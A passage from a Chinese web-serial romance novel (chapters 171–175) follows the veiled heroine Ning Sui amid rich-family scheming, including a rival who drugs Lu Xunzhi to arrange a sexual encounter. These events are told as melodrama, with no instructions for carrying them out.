乔深骂骂咧咧的话还没说出口,猛地迎上陆勋之冷涔的视线,先是一愣,眼底透出一丝阴狠,却也只是一闪而过。 随即涎着笑,语气倒是客气,“妹夫,你不是说不来吗?” 今天他来之前让乔若钰把陆勋之叫出来。 可乔若钰打了三个电话,陆勋之根本没接。 没用的东西。 陆勋之嫌恶地睨着他,刚才看到他贪婪地看着宁穗小腿的样子,实在让人想弄死他。 他微微转动了下脖子,“我这不是来了?她给我发信息,我就来了。” 乔深挑高眉梢,没想到乔若钰还有点本事在身上,他笑着起身,“那行,我们一会儿包厢里见吧。” 走之前,他视线越过陆勋之想看眼对方身后的宁穗,但是一根头发丝都没看到。 被陆勋之挡得严严实实。 刚才差点就碰上了呢,啧。 乔深舌尖抵了一下唇角,手指病态地摩挲了几下,才不甘心地转身离开。 陆勋之冷冷看着乔深的身影不见,才转过身看向宁穗,伸手道,“拿出来。” 宁穗垂着眸子不理人,手紧紧背在身后,微不可查地颤抖着。 男人没什么耐心,猛地拉住她的手腕,扳到跟前,看到她握成拳的手,瞬间皱起眉头。 皙白的手上,几缕血顺着掌纹沁出来。 碎瓷片握在她的掌心,割破了皮肤。 陆勋之低骂了一声,稍稍用力,卸掉了宁穗的力气,从她掌心抠出碎片丢掉。 下一秒宁穗天旋地转,被陆勋之打横抱起。 “你放我下来!”宁穗压着声音斥他。 陆勋之罔若未闻,迈开长腿往包厢反方向走,恶狠狠地说:“你大点声喊,把所有人都招来,让他们看见我抱着你。” 宁穗倏然闭嘴,气得胸口起伏,却又没办法。 只能任由他走了偏门,将她带到一个休息室。 这个休息室挺偏的,一般人不会来这边。 陆勋之将她放在沙发上,扒开她的手,查看她手掌的伤势。 那会儿宁穗注意力都在乔深身上,这会儿疼痛感突然反噬过来。 加上陆勋之的动作并不温柔,甚至有一些粗鲁。 宁穗疼得嘶了一声。 “知道疼了?”陆勋之冷哼一声,“刚才的狠劲儿呢?” 说完,他根本没打算听宁穗怎么说,起身去拿了医药箱来。 宁穗这才快速扫了一眼周围。 这个房间不大,也说不上奢华,跟陆勋之的身份一点都不搭。 可他熟门熟路拿东西的样子,又好像他经常来这里似的。 陆勋之从医药箱里,拿出碘伏,瞥了宁穗眼,又放回去,拿出了酒精,抬脚勾过垃圾桶接着,就想往宁穗的手掌心倒。 宁穗后知后觉知道他要使坏,猛地抽回自己的手。 骂道,“你故意的!” 她这都是开放性的伤口,用酒精消毒,不得疼死。 陆勋之眼底噙着淡淡的笑,“现在知道疼了?刚才的狠劲儿呢?” 虽然他看不清宁穗的眼睛和表情,但是能听出她鲜活的语气。 心情莫名地好了一些。 刚才看到乔深故意接近宁穗的时候,他是不想管的。 可是宁穗碰碎了花瓶,还弄伤了腿,乔深就像是鲨鱼闻见了血腥味儿凑上来的公狗样子,让他很不爽。 再看到宁穗居然想扎他的时候,心情一下子又好起来。 宁穗扭过头不看他,“不用你假好心,我自己可以处理。” 说着,她起身要走,男人一把捏住她的下巴,另一只手,握住她受伤的那只手的手腕,压在一旁。 陆勋之弯身看着宁穗,微微高于她,宁穗也被迫扬起头。 两人的样子十分暧昧。 “这么看来,你对我还算温柔的。至少没扎我。”陆勋之嘴角噙着笑意。 怎么没扎,还差点扎死你呢。 宁穗哼笑,“你要是想要,我就赠你一扎。” 陆勋之眉梢微微挑起,两人沉默下来。 陆勋之捏着她的手腕,拇指在她的脉搏上轻轻来回摩挲。 周遭的空气都跟着灼烧起来。 宁穗微微偏头,躲闪他的眼神,硬邦邦地说:“疼。” 她的手还在冒血。 陆勋之眼睛极其缓慢地眨了眨,起身又蹲在她跟前,拉过她的手。 这次没用酒精,而是打开了碘伏,用棉签沾了,轻轻帮她消毒。 即便这么多年没有再行医,但他帮宁穗包扎的时候,还是很熟练。 包好之后,陆勋之又低头去看她腿上的伤。 宁穗穿了丝袜,已经被碎片割破,腿上留下一寸长的伤口,好在不深,血液已经凝固。 这个样子,真的破碎又迷人。 想到刚才乔深刚才的样子,陆勋之眉心拧起一股烦躁,喉结上下滚动。 下一秒,嘶啦! 轻薄的料子被扯碎。 皙白匀称的小腿露出来。 宁穗懵了,抬手一巴掌打过去,狠狠拍在陆勋之的肩头,男人纹丝不动。 他一脸无辜地抬头看她,“不撕开怎么上药?” 宁穗又气又恼,一把推开他,拿着药瓶,走进了旁边的小卫生间。 这里空间很狭小,宁穗勉强将袜子脱下来,然后上了药贴上了胶布。 再出来的时候,陆勋之早就不知去向。 宁穗将袜子丢进空荡荡的垃圾桶,调整好心情又返回了包厢。 刚一推开门缝,便听到乔长年问,“闻之都要订婚了,你这个当哥哥的也该抓紧定下来了。” 乔深附和,“是啊,若钰和勋之现在处的不错,刚才也是若钰一条短信就把勋之叫来了。” 宁穗面无表情地推门而入。 静静走过去,在陆闻之身边坐下。 陆闻之偏头过来轻声问,“没事吧?我哥说你受伤了,去包扎了?” 宁穗手上的纱布很明显,她勉强笑了笑,“嗯,小伤,没事。” 她余光瞥见陆勋之看向她,对方随即嗤笑一声,“真没事?你怎么不说说,你是怎么伤的?” 第171章 帮陆勋之拿下宁穗 所有人的视线都集中到宁穗身上。 似乎都在等待她的答案。 并不是她有多受人关注,而是陆勋之的话很有分量。 他想要探究的事,别人都会在意。 宁穗觉得陆勋之就是故意的。 她人微言轻,这种情况之下,她就算说出乔深对她做的事情。 谁会相信? 只会认为她挑拨离间,哗众取宠。 陆闻之的女朋友有是个没脸见人的人。 乔深就算再饥不择食也不会喜欢上这样的人。 所以宁穗没打算现在揭穿乔深。 透过面纱,她一个个扫视过去,将所有的乔家人,都看在眼里。 她一个都不会放过。 “我不小心碰到了走廊的瓷器,扎到了,没事。”宁穗轻描淡写地说。 余光瞥见乔深嘴角意味深长的笑。 陆闻之担忧道,“真的没事吗?要不去医院看看?” 宁穗看了一眼坐在对面的人。 乔若钰怔怔看着陆闻之,而陆勋之嘴角噙着讽刺的笑。 “真没事,这不是包扎好了?”宁穗乖巧地抬手,展示自己手上的纱布。 纱布干干净净的,都没有血丝渗过来,说明伤口并不严重。 陆闻之宠溺地瞪她一眼,手小心地握住她的手,摸她的发顶,“下次小心点。” “包得这么好,你是找谁包的?”陆勋之戏谑的声音突然斜进来,打破了两人的旖.旎。 宁穗一僵,遮着面巾狠狠瞪陆勋之,但对方根本看不到。 陆闻之抿唇,打量宁穗,也没有说话。 一旁的乔深看热闹看够了。 发现陆勋之对这个女人也没什么好脾气。 那刚才帮她,不过是顾及陆闻之的面子。 乔深心里有些开心。 他笑着及时出声,“这个酒店里服务都很到位,找一个会包扎的人,不是难事。” 他看向宁穗,抬手很轻地拍了一下宁穗的胳膊,一触即离,仿佛是老大哥一样的安慰她,“没事,下次在遇到可以跟我说,闻之的腿不方便,我可以帮忙。” “我家的事,也轮到你插嘴了?”陆勋之怒气很明显,无差别地攻击每一个人。 乔深笑容一僵,有点尴尬地笑了笑,“我不是这个意思,我只是……” “你只是什么?”陆勋之冷笑看他。 乔深脸色也沉下来,陆勋之明显是在找茬,无论他说什么,都不会合他的心意。 他眼神冷淡地看向陆勋之旁边的乔若钰。 一直沉默的乔若钰眼睫颤动,抬手挽住陆勋之的胳膊,“勋之,我哥也是好意。” 陆勋之看到宁穗往这边看过来,他余光瞥了一眼乔若钰挽着他的胳膊,忍下甩开的冲动。 淡淡道,“嗯。” 这算是给了乔若钰面子。 宁穗嘴角勾起冷笑,收回视线。 乔深满意地看向乔若钰,给了肯定的眼神,乔若钰却始终垂着眸子,没跟他对视。 “看到你们小辈们处得这么好,我很欣慰。”乔长年说,“我们若钰过完年也28了,我这个当父母的就是担心她的婚事。” 乔长年一句话,就轻而易举的,将话题又转到自己家这边来。 宁穗不再是焦点。 老奸巨猾。 但宁穗这会儿反而感谢他。 所有人的视线又都集中到这两个人身上。 陆勋之余光很淡地扫了一眼宁穗,不动声色地将手抽了回来,端起茶杯抿了一口。 并没有第一时间回应乔长年的问题,显然并不把这个长辈放在眼里。 乔若钰如坐针毡。 刚才陆勋之有多给她面子,现在就有多打她的脸。 “这种事,还是要跟陆家的长辈商量,才显得重视。”陆闻之出来打圆场。 乔长年虽然不满意,但也就这么算了。 陆勋之却突然说:“陆家男丁兴旺,可以选择的很多。” 他下巴微抬点了一下陆闻之,“我弟弟也还没结婚。” 乔长年一愣,一张老脸端不住,有些沉下来。 这叫什么话,陆闻之年后就要订婚了,这个时候,难道要换新娘吗? 简直是笑话。 陆闻之扯唇笑笑,抓过宁穗的手,放在自己两掌之间,态度十分亲昵。 “哥,你别逗我了,一会儿我回去该挨骂了。”然后宠溺地看向宁穗。 宁穗适时低头,两人表现得很亲密,完全没被陆勋之不知所谓的话影响。 陆勋之垂下眸子,掩下眼底的烦躁,猛地端起茶杯喝了一口,又凉又涩。 他倏然起身离开,没说一句话。 但他一向这样,大家也没说什么。 宁穗恶心乔深,也不想留下,陆闻之随便找个借口带着宁穗离开。 乔深一路送出来,视线若有似无地流连在宁穗身上,直到看不到,才依依不舍地回到包厢。 刚关上门。 啪! 乔若钰的脸被扇得偏过去,表情麻木且缓慢地坐正回去,似乎对这种待遇,早就司空见惯。 乔深信步过去坐下,虚情假意地劝乔长年,“爸,陆勋之还没走远呢。别让他看见妹妹脸上的印子,到时候不好说。” 乔长年冷哼一声,“陆勋之在乎她吗?要真在乎,早就抢在陆闻之前面跟她结婚了。哪有弟弟先订婚的。” 乔若钰手指颤抖着蜷缩起来,声音低哑,“早晚的事。” “你要是拿不下陆勋之,就去跟陆凛之。我听说他现在不能人事,肯定很多豪门不会跟他联姻的,这正好是我们的机会。”乔深语气苦口婆心的。 像是贴心的大哥,在为自己的妹妹谋划未来。 可说的话却恶心至极。 完全不把乔若钰当人看。 乔若钰快要喘不上起来,但还是保持镇定。 越是这种时候,她越不能乱。 “你们以为陆老爷子把新势力的项目给三房,那边就能坐起来吗?现在陆勋之和陆闻之正在准备插一脚。没人能从陆勋之手里抢东西,除非他不想要。” 乔若钰这句话倒是说到乔家父子的心坎上。 “妹妹,你有什么办法?”乔深毒蛇一样的眸子攫住乔若钰。 她淡淡垂了眸子,轻咬舌尖,让自己镇定下来,“三天,我会给你们个答案。” 只要她拿下陆勋之。 不,是帮陆勋之拿下宁穗。 第172章 不把自己的生死放在心上 陆闻之带着宁穗回到他们的套房,他才抓住宁穗的手问,“乔深欺负你了?” 宁穗摇头,“没有。” “那你的手是怎么回事?” 宁穗抿唇,眼底闪过一丝嫌恶,“他确实胆子大,是想对我动手。但没得逞。” 她低头看自己的手,“我抓了碎片,想攮死他来着。” 想到自己几岁就成了孤儿,养母好不容易把她养大,现在又昏迷不醒好几年。 心里的怨恨就像是一根黑色带刺的藤蔓,紧紧裹着她的心口,喘不上气来。 但她语气轻飘飘的,好像根本不把自己的生死放在心上似的。 陆闻之手上的力气微微加重,“宁穗……” 宁穗愣住,怔怔看向他。 这个完整的名字已经很久没有叫过了。 两人对视了很久。 陆闻之弯唇,“我会帮你的。一切都会解决。” …… 第二天,宁穗起来的时候,陆闻之已经在小客厅里看文件,看到她,便笑着问,“中午烤肉,要不要一起?” 宁穗看了一眼外边,天气不错,但是挺冷的。 “没事,有户外暖风机,我哥已经都让人准备好了。”陆闻之打消了她的顾虑。 宁穗拧眉,“他怎么还在?你不是说他不来这边的吗?” 陆闻之放下手中的文件,眼底闪过一丝异样,但很快抹平,“他想留下,大概是因为乔若钰吧。乖乖,以后难免见面,将来他要是娶了乔若钰,他就是你妹夫了。” 宁穗冷笑扯唇,“乔若钰可并不想嫁给他。” 她意味深长地看了一眼陆闻之,还是没说出乔若钰的打算。 有些事,一旦你挑明,就是给人心里种下种子,是会生根发芽的。 她不想莫名其妙地帮乔若钰。 乔家跟陆家联姻,是她最不想看到的。 不管乔若钰嫁给谁。 陆闻之没多问,似是对他们的事,完全没兴趣,“走吧,我们去烤肉。” 宁穗跟着陆闻之到了院子里,已经都张罗起来。 陆勋之坐在那,袖子挽起来一些,露出精壮的小臂,看上去有股痞气。 乔若钰坐在他旁边,两人隔着半米多的距离,看上去并不亲密。 还有几个人围在周围,三三两两的在一起烤肉,都是这个圈子里的,宁穗还看到了坐在角落里的陈瑶。 小姑娘的眼睛巴巴看着陆勋之,满心满眼都是对方。 看得出来是真的喜欢。 宁穗收回视线,找了一个角落坐下,余光瞥见两道滚烫的视线,是从陆勋之那边过来的,她没理。 这一幕被陈瑶看在眼里。 她在这看了陆勋之半天了,他一眼都没看乔若钰。 甚至没有看在场的任何一个女人一眼。 但面纱姐姐过来之后,他就一直盯着看。 即便是在跟别人说话,余光也一直打量着这边。 陈瑶抿唇,起身走到宁穗跟前坐下,“姐姐好。你还记得我吗?我叫陈瑶。” 宁穗怎么会不记得,即便五年过去,那种不舒服的感觉还是会涌上来。 她没那么大方,没办法当没事发生。 “嗯,记得。”宁穗语气很冷淡地打招呼,只是简单的客气。 陈瑶却无所谓,她抬眼看到陆勋之的视线,在她身上微微停留了半秒,似是只瞥一眼而已。 但她也觉得开心。 她又往宁穗身旁挪了挪,似是这样就能多分到陆勋之的视线,“姐姐,听说你和闻之哥要订婚了?” 陈瑶虽然年纪小,但是特别会套近乎。 听到她喊陆闻之也这样亲切,宁穗多看了她一眼,“嗯,年后吧。” “恭喜啊。”陈瑶笑着,像一朵盛开的向日葵,洋洋洒洒,“你们结婚的时候,要是我没结婚,我可以给你当伴娘吗?” 说完,她羞涩地笑笑,“也没准我们同时结婚,我真的很想跟姐姐一起。” 两人并不熟悉,这样的话,其实有些越界。 但她表情真诚,笑容有感染力,加上小姑娘长得可人,并不让人反感。 宁穗想,要是当时没出那件事,他俩或许能成为朋友的。 但人生没有如果。 宁穗没回应她的问题,只淡淡笑笑,不置可否。 不远处,陆勋之将宁穗淡淡的笑容看在眼里,心里很不爽。 除了他,她对谁都笑吗? 一杯茶递到陆勋之跟前,他收回视线,淡淡地扫了乔若钰一眼。 乔若钰轻笑,“算我谢谢你,昨晚上没下我的面子。” 陆勋之冷哼一声,并没有接话,也没接茶杯。 乔若钰余光扫了一眼杯子,随即笑了笑,“你连我给的茶都不喝了?我可是一心一意想帮你的。” 说着她故意看了一眼宁穗那边,在暗示陆勋之。 男人斜睨着她,直接戳穿,“你是帮我还是帮你自己,你心里清楚。” 乔若钰笑容僵硬了一瞬,自嘲,“豪门荣华之下,苟且偷生的人多了去了。你这种天之骄子,当然不会在意。我也没指望你感同身受。但是互相利用,获得利益就行了,不是吗?” 陆勋之没兴趣听她煽情,他看见宁穗,喉咙里就冒火,怎么都压不下去。 很烦躁。 他顺手接过茶杯啜了一口,清茶划过喉咙,他好受了一点。 语气也没那么冲了,“你那个泰迪哥,和道貌岸然的爹呢?” 倒不是他多在乎这两人,只是昨晚上他看到乔深看宁穗的眼神,像是鬣狗看猎物一眼猥琐。 他很不爽。 乔若钰并不知道他想什么,脸色白了几分,“我哥昨晚上喝多了掉景观湖里,差点没抢救过来,还摔断了腿,估计要在医院住上一段时间。我爸就也回去了。” 陆勋之一顿,冷不丁笑了,“呵,活该。” 他回神的时候,视线落向宁穗那边,却发现座位上空了,只剩下旁边的陈瑶。 对方见他看过来,瞬间露出笑容,摆了摆手。 陆勋之置若罔闻,收回目光,向周围看去,发现宁穗的背影出现在大楼入口处。 “哥。”陆闻之过来,递了一瓶水给他。 陆勋之收回视线,接过水,烦躁地拧开喝了两口,“你怎么自己啊?” 他状似不经意地问,“你那个连体婴女朋友呢?” 陆闻之温和失笑,“你说小瑜啊,她有点不舒服,先回去了。” 陆勋之唇角抿成直线。 一股莫名其妙的火,从下面往上窜。 第173章 穗穗……对不起 陆勋之身体莫名其妙地开始冒火一样,他有些不舒服,放下水,缓慢起身,“我回去冲个澡。” “好啊,哥。”陆闻之笑着看着他离开,视线顺势落在陈瑶身上,跟对方交换了眼神。 陈瑶不动声色地也起身离开。 …… 宁穗说不舒服,只是单纯不想跟陈瑶再聊下去。 更何况她本来也没什么兴趣来烤肉,还要对着陆勋之,只觉得反胃。 回到房间之后,她开始觉得有些不舒服,脑袋昏沉沉的。 她在想是不是昨晚上着凉了,干脆换了衣服去浴室,打算泡个热水澡。 但她泡了没几分钟,就听到门外传来声音,她以为是陆闻之回来了。 干脆起身穿好衣服,裹上浴袍出去。 窗帘还拉着,早上陆闻之大概是怕她从房间出来,眼睛不适应,所以一直没拉开。 房间里微微有些暗,宁穗看到一个人影坐在沙发上。 “陆闻之?”宁穗快速扫了一眼周围,没看到轮椅,心里咯噔一声,突然意识到什么,转身要往自己的房间跑。 手刚碰上门把手,身后贴上来滚烫的胸膛。 对方双手紧紧抱住她,她的胳膊被箍住。 熟悉的香气瞬间裹住宁穗。 男人整张脸埋进她的颈窝,呼出来的气息,滚烫,灼热。 声音像是被砂纸反复摩擦过一样,“穗穗……” …… “闻之。”乔若钰突然出声,陆闻之跟着一愣。 他都没注意乔若钰的存在。 他看向对方,眼底没什么情绪,就像是在看陌生人,客气地说:“乔小姐还是叫我全名吧。不想我女朋友误会。” 乔若钰苦笑一声,“你这么在乎她吗?” 陆闻之收回视线,不动声色地将陆勋之喝过的水瓶拿起来,握在手里,淡淡道,“她马上就是我的妻子,我当然在乎。” “我们小时候的事,你都不记得了吗?”乔若钰语气突然有些激动,“你小时候说过,将来要娶我的。” 陆闻之像是听了什么奇怪的事,诧异地看向乔若钰,“几岁孩子的话,也能作数?而且,你现在不是很想嫁给我哥吗?就不要说这些奇奇怪怪的话。我哥听到会不高兴。他这个人,占有欲很强。” 乔若钰不动声色地看了一眼手表,“是吗?他对很多东西都有占有欲。有些甚至都不属于他。” 陆闻之愣了愣,突然想到什么,操控着轮椅就要离开。 可乔若钰还是先一步拦住了他的去路,她蹲在陆闻之跟前,双手抓住陆闻之的轮椅扶手。 仰着头看着他,语速非常快,好像她慢一点,陆闻之就会从她身上轧过去,“你现在去已经来不及了。他们已经在一起了,都这样了,你还要她做什么?我可以帮你,我们合作,你早晚能超过陆勋之,拿到陆家的掌权人地位,我们——啊!” 陆闻之的手劲极大,一把搡开乔若钰,她摔倒在旁边,手都擦破了皮。 看着陆闻之慌乱往那边赶的样子,乔若钰面无表情地坐起来。 一起玩的那些人都跟过来,扶起乔若钰。 “钰姐,这是怎么了,吵架了?” “是啊,闻哥一直挺好说话的,怎么突然这么凶啊。” 大家七嘴八舌地说。 乔若钰表情淡淡地拍拍身上的腿,看了看手上的伤,眉心微折。 “要不你们跟我一起去找陆闻之吧,我怕我一个人过去,他还生我气。” 这群人都是一块玩到大的。 乔若钰又有光环在身,现在又是陆老爷子亲选的孙媳妇,大家自然愿意跟着张罗。 一群人簇拥着乔若钰跟着往陆闻之他们的别院走。 …… 黑暗中宁穗觉得像置身火炉之中,快要被陆勋之的身体烤化。 他艰难开口,“穗穗……穗穗……” 宁穗挣扎,他就像是铁钳一样卡住她,让她动弹不了。 男人的手开始不老实。 宁穗浑身的血液倒流,他始终贴着她的脖颈,胡乱吻着,“穗穗,对不起……对不起……” 他声音颤抖带着哽咽,宁穗觉察到他的不对劲,一边挣扎,一边否认,“我不是!我是陆闻之的女朋友!未婚妻!陆勋之!你醒一醒!” 含含糊糊念叨着宁穗的名字,说着对不起。 滴滴,房门被刷开,走廊的灯光倾泻进来,一个瘦弱的身影站在门口,小心翼翼开口,“勋之哥!” 宁穗大声喊,“救命!” 门口的身影一顿,随即上前拉扯宁穗身后的陆勋之。 没想到陈瑶身材娇小,力气却大,真的将陆勋之给拉开了,宁穗趁着这个空档,推门而入,快速将门反锁上,人靠在门板上,大口喘着气,缓缓顺着门板滑下去。 身前有些凉,宁穗低头看,浴袍已经几乎敞开,她慌乱地扯了扯前襟盖住自己。 …… 陆闻之赶到自己的套房门口的时候,看到房门虚掩着,里面传来丝丝袅袅的女人哭声。 他脑袋里炸开了白色的光,大脑完全空白。 他怔在当场,甚至不敢推开门。 不进去,是不是就可以装作这件事根本没发生。 陆闻之抬起的手颤抖起来,手指僵硬地蜷缩,感觉世界都在转。 身后传来吵闹声和脚步声。 随即乔若钰出现在他跟前,微微倾身,“你为什么不进去,是不敢吗?认怂没用的,他现在控制不了自己,该发生的都发生了。” 陆闻之愣住,不可置信地看向乔若钰,突然明白了什么。 还放在他自己腿上的瓶子被捏爆。 “陆闻之,他难受的时候,第一时间不是回自己的房间,而是来你的套房,你猜是为什么?” “闭嘴!”陆闻之阴狠地推开她。 乔若钰后背撞上墙壁,疼得她眼前发昏。 但已经到这步了,她不可能再退缩,就算陆闻之想当缩头乌龟,她也必须促成这件事。 她快步上前,猛地冲进了套房,顺着声音找过去,推门而入。 床上隆起高高的弧度,还在微微颤抖。 被窝里传来女人哭泣的声音,听上去很难受。 乔若钰颤抖着手,猛地掀开了被子。 第174章 他为什么要道歉啊? “怎么会是你!”乔若钰看到陈瑶哭红的脸时,整个人像是被雷劈了! 陈瑶衣衫不整,她上手去拉扯对方,直接将陈瑶拉到了地上。 即便隔着地毯,陈瑶骨头撞到地上,还是发出骇人的咚咚声。 没看到陆勋之,乔若钰发了疯一样拉扯陈瑶,“陆勋之呢!” 陈瑶被吓到了,呜呜地哭,声音都是断断续续的,捂着脑袋,“我不知道!我……什么都不知道!” 门口传来陆闻之低吼声,“都给我滚!” 聚集在门口打算看热闹的人,一哄而散。 陆闻之带着人进来,看到地上的陈瑶时,猛地松了一口气。 他后背都被汗湿透了。 他看向浴室那边,里面传来水声和男人隐忍释放的声响。 “带乔小姐离开。”陆闻之冷声吩咐助理。 乔若钰恍然回神,摇着头喊,“不,不应该这样的!为什么是她,为什么不是她!” 她还想说什么,保镖直接捂住了她的嘴,将人拎走。 被扯走前,她还不甘心地踹了陈瑶一脚。 陈瑶匍匐在地,哭得更可怜了。 房间里只剩下陆闻之和陈瑶,不时从浴室传来一些令人脸红的声音。 陆闻之不看陈瑶,冷声呵斥,语气很是烦躁,“把衣服整理下。还有,别哭了,你不是都成了吗?该哭的是乔若钰。” 陈瑶哆哆嗦嗦坐起来,将衣服整理好,手指颤抖着,好几次才系上扣子。 听到陆闻之的话,身子一僵。 成功? 她也想啊。 刚才她跟着陆勋之过来,发现他并没有回自己的房间,却是来了陆闻之的套房。 好在她拿到的是万能卡,她忍不住还是刷卡进来。 一进来就听到女人喊救命,还有陆勋之…… 他就像疯了一样,想要对那个女人做什么。 好在她上来帮忙,那女人跑回了房间,她干脆抱住了陆勋之。 她听到陆勋之一直在念叨宁穗的名字。 她心里难受得不行,那个女人不是都死了五年了吗? 为什么还要一直记得呢! 她好生气,凭什么? 凭什么这五年她陪在陆勋之身边,她已经这么优秀了,陆勋之却一眼都不多看她呢! 人有时候就是这样,越是得不到的,就越是骚动。 她太想得到陆勋之了。 如果今天的机会错过,下次还不知道会是什么时候。 一不做二不休,她干脆开始扯自己的衣服,趁着黑暗,抱着陆勋之说:“我就是宁穗,勋之,你要我吧。” 两人就这么稀里糊涂进了另一个空卧室,可陆勋之看清她的脸时,猛地推开她。 满脸的嫌恶。 他脸颊泛着不正常的红色,看上去已经隐忍到极限。 可他还是跌跌撞撞冲进了浴室,随后传来水声和他粗重的呼吸声。 陈瑶没经过这种事,但是也大概猜到,陆勋之在这么难受的情况下,宁愿自己解决,也不找她。 巨大的羞耻感瞬间吞没了她。 陈瑶无力地坐在床边,外边传来声音的时候,她没多想,就躲进被子里哭了。 “你先走吧。”陆闻之的话将她的思绪拉回到当下。 陈瑶咬唇,她不敢说,实在太丢脸,但现在她也没别的办法。 陆闻之都来了,她更不可能跟陆勋之发生什么了。 她不甘心,但也只能先离开。 助理回来,说:“乔若钰不肯走,说是要见您。” 陆闻之看向浴室那边,捏了捏眉心,“小瑜呢?” 助理说:“在隔壁房间,我敲过门了,她说不想见人。” “知道了。”陆闻之淡淡扫了一眼浴室,“叫医生过来。” “是。” 陆闻之走到隔壁的时候,乔若钰已经冷静下来,但人看上去是很颓败,像是打了败仗。 看到陆闻之进来,乔若钰像是抓到最后一根稻草。 “你要帮我。”乔若钰声音还算沉稳,但细听还是有种颤意。 “凭什么?”陆闻之很轻地哼了一声,“你给我哥下药,还试图让他睡我的未婚妻。我是什么很贱的人?还要帮你?” 被戳破心思,乔若钰也不觉得可耻。 到这步,也没什么可耻一说,能活下去才是正事。 陆勋之清醒之后一定会查谁给他下了药。 现在他没得到他想要的人,一定会迁怒于她。 她死定了,只能博一把。 “陆勋之早就觊觎你女朋友,你难道看不出来吗?他为什么中了药之后,不回自己的房间,也不打电话求救,而是来你的套房,你难道还不明白吗?他不过就是将错就错。” 陆闻之的脸黑沉下来。 乔若钰有些害怕。 陆闻之平时都温文尔雅的样子,很少有这种可怖的表情。 但他越是这样,就说明,他自己也是这么想的,只不过是被乔若钰说出来而已。 至于陈瑶又是从哪冒出来的,乔若钰没空去想,现在只能先拉着陆闻之帮她。 她上前,蹲跪在陆闻之的跟前,“闻之,你帮帮我,就算不看在以往的诺言上,你也帮帮我,算我求你了好不好?我不想嫁给陆凛之,你帮我找个别的联姻对象,求求你了。” 到时候乔家不会难为她,陆勋之也会看在联姻对象的面子上放过她。 陆闻之垂着眸子睨她,没什么表情,“你父兄对你不好吗?” 乔若钰后背起了一层冷汗,低声道,“他们不是人。” 陆闻之唇角扯动,轻笑一声,表情又换上往日的温和,“你可以不用嫁给任何人。但我有个条件。” …… 宁穗泡在浴缸里,直到水冷了,都没挪动。 她觉察到陆勋之今天的样子不对劲。 大概是吃了什么不该吃的东西。 可相比陆勋之出格的举动,他当时说的话,却一直在宁穗脑袋里盘旋。 穗穗……对不起…… 无数次的道歉,他像是半梦半醒一样,却又真实无比。 他为什么要道歉啊? 宁穗闭上眼,用了很大的心力才将这个念头从脑袋里推出去。 身体逐渐冷下来,宁穗打了一个喷嚏。 她后知后觉从浴缸里出来,但半夜就发起烧。 昏昏沉沉地睡到天亮,她觉得很不舒服,勉强起身,看到陆闻之留下的信息,说他有事,需要处理,让她先在这玩,晚上他会回来接她。 宁穗随便裹了一件衣服,问了前台知道附近就有医院,打算先去看看。 刚走到医院,就看到了唐桓,她赶紧躲到柱子后边,却不小心跟人撞上,对方手忙脚乱,抓掉了她的面巾。 她回头的一瞬间,看到唐桓往她这边看过来,视线落在了她身上。 第175章 这么可怜?陆闻之不要你了 下一秒,一个高大的身影挡在宁穗跟前。 将唐桓的视线结结实实挡住,随即一只大手顺势将她的面纱,帮她戴好。 宁穗抬头,迎上陈耀东面无表情的脸,好像刚才帮忙的人不是他似的。 “东少。”唐桓走过来,看到宁穗微微颔首,“沈小姐。” 宁穗松了一口气,刚才要不是陈耀东帮忙,大概她就要露馅了。 可他为什么会帮自己。 宁穗不由地看向陈耀东,男人淡淡地看了她一眼,似是跟她不熟悉似的,问唐桓,“你认识啊?” 唐桓愣了一下,随即介绍,“你刚回国,还没见过吧?这是闻少的女朋友,沈瑜沈小姐,年后就要订婚了。” 听到订婚两个字,陈耀东愣了下,表情微微裂开一点缝隙,但很快就调整好,又变成混不吝的模样,“嗯。勋哥呢?醒了吗?” 他似是对这个未婚妻完全没兴趣,一门心思来看陆勋之。 宁穗这才知道,原来陆勋之从昨晚送来医院到现在都在留院观察。 唐桓跟宁穗简单打了招呼,就带着陈耀东往住院区走。 陈耀东被唐桓带着上了电梯,唐桓看了他一眼,“东少,你怎么了?” 陈耀东一直都是什么都不在乎的痞子样,很少露出这种严肃的表情。 “你也不用太担心陆总,虽然查出来,他身体里有两种药物,但他现在身体没大碍了。”唐桓以为他担心陆勋之,解释道,“就是要好好休息。” “嗯?”陈耀东似是没听到他说什么。 电梯到层,唐桓下去,回头却没见到陈耀东下来,“东少?” 陈耀东又按了一层的按钮,“我去给勋哥买点东西。” “什么都不用买,都——有。”唐桓话都没说完,电梯门就被陈耀东关上。 宁穗看着他们离开,才缓步往发热门诊走,人像是踩在棉花上,走几步就要缓一缓。 好不容易过去,开了药,她终于能坐下,护士给她扎上了针。 没一会儿她就昏睡过去。 不知道睡了多久,脸上有些痒,她猛地睁开眼,赶紧去摸自己的脸,面巾还在。 旁边的男人一眨不眨地看着她,她醒来得太突然,对方也跟着一愣。 随即才往旁边挪了一个位置,与她拉开距离。 看清是陈耀东,宁穗的心里竟然松了一口气,她坐直,看了一眼自己的输液瓶,已经换了第二瓶。 她都没醒,暗暗看了一眼陈耀东,大概是他帮忙吧。 陈耀东手肘撑在膝盖上,身子微微前倾,头轻垂着。 “都走了,为什么还回来?”陈耀东似是在自言自语,“陆家就这么好吗?” 脱离了陆勋之,居然还要嫁给陆闻之。 但这句话他没说。 不知道为什么,他觉得自己要是说出这种话,宁穗大概就不会再见他。 宁穗动了动酸胀的身体,没回答他的问题,“谢谢你帮我换药。” 陈耀东余光看了她一眼,沉默片刻,“你回来是想做什么?” 宁穗一僵。 就算她不说,陈耀东也知道,肯定是为了什么回来。 他摸爬滚打这么多年,这点事逃不过他的眼睛。 陈耀东搓了一把脸,“不管你要做什么,需要帮忙可以随时找我。” 说完,他转身从宁穗的口袋里掏出手机,捏着宁穗滚烫的手指解锁,然后自顾自加上了自己的联系方式。 一通操作,也没看宁穗,起身离开。 宁穗看着手机上,陈耀东黢黑一片的头像,无语地愣了愣。 折腾了一夜,陆勋之到凌晨的时候才睡下,眼底都是青的。 唐桓带来的文件,他已经处理了一大半,这会儿正捧着文件在看。 陈耀东揣着心事进来的时候,唐桓看了一眼他手上,愣住。 空的,不是说去买东西吗? 他很诧异地看陈耀东,对方脸色不太好,他也就没问。 陆勋之随意地瞥了他一眼,声音沙哑得厉害,“怎么魂不守舍的,看着比我还虚弱。” 陈耀东这才回神,看向陆勋之,他折腾一晚上看上去是很憔悴。 想到他是被什么药折腾,陈耀东忍了忍笑。 兜里的手机剧烈震动,他拿出来看,眼底闪过一丝失望,但打开看到群里的消息,又瞬间睁圆了眼睛。 “勋哥,你看。”他将手机递给陆勋之。 对方扫了一眼,瞬间黑下脸。 这是御城豪门圈子的群,陆勋之当然不会进。 